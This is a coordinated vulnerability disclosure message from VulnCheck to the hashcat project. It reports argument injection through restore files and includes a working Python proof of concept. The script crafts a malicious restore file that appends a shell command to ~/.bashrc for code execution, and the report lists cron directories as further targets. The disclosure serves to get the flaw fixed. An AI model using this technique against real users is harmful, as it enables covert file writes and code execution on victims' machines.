Coordinated Vulnerability Disclosure - Argument Injection via Restore File Leading to Arbitrary File Write and RCE
I’m a vulnerability analyst at VulnCheck, an exploit intelligence company and research CVE Numbering Authority (CNA), where I'm one of several folks who manage our coordinated vulnerability disclosure (CVD) program.
An external security researcher recently reported a potential vulnerability impacting the hashcat and VulnCheck is acting as the intermediary and coordinator.
VulnCheck follows a 120-day disclosure policy, meaning we afford vendors/maintainers up to 120 days from the time of receiving the report to address the issue before publishing a CVE record and third-party advisory. For this vulnerability, the 120-day deadline falls on November 28, 2026.
The following CVE ID has been provisionally reserved for reference purposes:
CVE-2026-68766 - Argument Injection via Restore File Leading to Arbitrary File Write and RCE
Reservation does not constitute publication. The ID will remain in a non-public RESERVED state with no technical details visible in the CVE database until we have aligned on CVE-eligibility, disclosure details, and a timeline, or until the 120-day coordinated disclosure window closes.
They have provided us with a comprehensive technical report, which we have attached below. Let us know if you have any questions for us about the CVD process or for the researcher regarding the reported vulnerability.
Argument Injection via Restore File Leading to Arbitrary File Write and RCE
Package: hashcat/hashcat Tested Versions: v7.1.2-382-g2d71af371 Affected File: src/restore.c line 366 CWE: CWE-88: Improper Neutralization of Argument Delimiters (Argument Injection); CWE-73: External Control of File Name; CWE-94: Code Injection CVSS 3.1: AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H -- 7.8 High
Affected Files src/restore.c Lines 352-366 --restore re-parses argv[] stored in binary restore file via user_options_getopt() with no option allowlist or denylist
read_restore() bounds argc (1-250) and checks cwd exists
-- each argument string copied verbatim via hcstrdup()
-- no filtering of which options may appearsrc/outfile.c Line 539 outfile opened in append mode Line 725 OUTFILE_FMT_PLAIN writes only cracked plaintext (no hash prefix) Line 735 $HEX[] encoding triggered only for non-ASCII or ':' chars Root Cause
When --restore is used, restore.c reads argc/argv from a binary restore file and passes them directly to user_options_getopt() after resetting options with user_options_init(). No allowlist or denylist controls which options may be injected from the restore file. An attacker-supplied restore file can therefore inject arbitrary hashcat options including --outfile, --outfile-format, --potfile-path, and others that redirect output to attacker-chosen paths. Combined with a bundled hash file and dictionary guaranteed to produce a crack, the cracked plaintext is appended to any writable file on the system.
PoC python import struct, hashlib
TARGET = b'/home/user/.bashrc' PAYLOAD = b'id > /tmp/pwned' # ASCII, no ':' -- written verbatim to target file
Hash + dictionary guaranteed to crack (same word both sides)
h = hashlib.md5(PAYLOAD).hexdigest().encode() open('/tmp/hash.txt', 'wb').write(h + b'\n') open('/tmp/dict.txt', 'wb').write(PAYLOAD + b'\n')
Injected argv: normal dict attack with --outfile redirected to .bashrc
--outfile-format 2 = OUTFILE_FMT_PLAIN = cracked plaintext only, no hash prefix
inj = [b'hashcat', b'-a', b'0', b'-m', b'0', b'--quiet', b'--force', b'--outfile', TARGET, b'--outfile-format', b'2', b'/tmp/hash.txt', b'/tmp/dict.txt']
296-byte restore_data_t header + argv, one per line
d = bytearray(296) struct.pack_into('<i', d, 0, 611) # version = RESTORE_VERSION_CUR d[4:8] = b'/tmp' # cwd (must exist) struct.pack_into('<I', d, 280, len(inj)) # argc open('/tmp/evil.restore', 'wb').write(bytes(d) + b'\n'.join(inj) + b'\n') bash python3 poc.py hashcat --restore --restore-file-path=/tmp/evil.restore --force
cracks the hash, appends "id > /tmp/pwned" to /home/user/.bashrc
next interactive shell sources .bashrc -> RCE
Payload constraint: must avoid : separator and stay ASCII to prevent $HEX[] encoding. The payload is appended as a bare line with no hash prefix.
Attack Scenario
Attacker ships a bundle: evil.restore + hash.txt + dict.txt. When the victim runs hashcat --restore --restore-file-path=evil.restore, the guaranteed crack appends the payload to ~/.bashrc. The next interactive shell session executes it. This is realistic wherever users share cracking work as a bundle of .restore + hash list + dictionary files.
Impact
Arbitrary file write to any path writable by the hashcat process. Confirmed RCE chain: payload appended to ~/.bashrc or ~/.profile executes on next shell login. Alternative targets include /etc/cron.d/ (for persistent execution) and any script in the user's PATH. Precondition: victim runs hashcat --restore against the attacker's file.
Source: hashcat/hashcat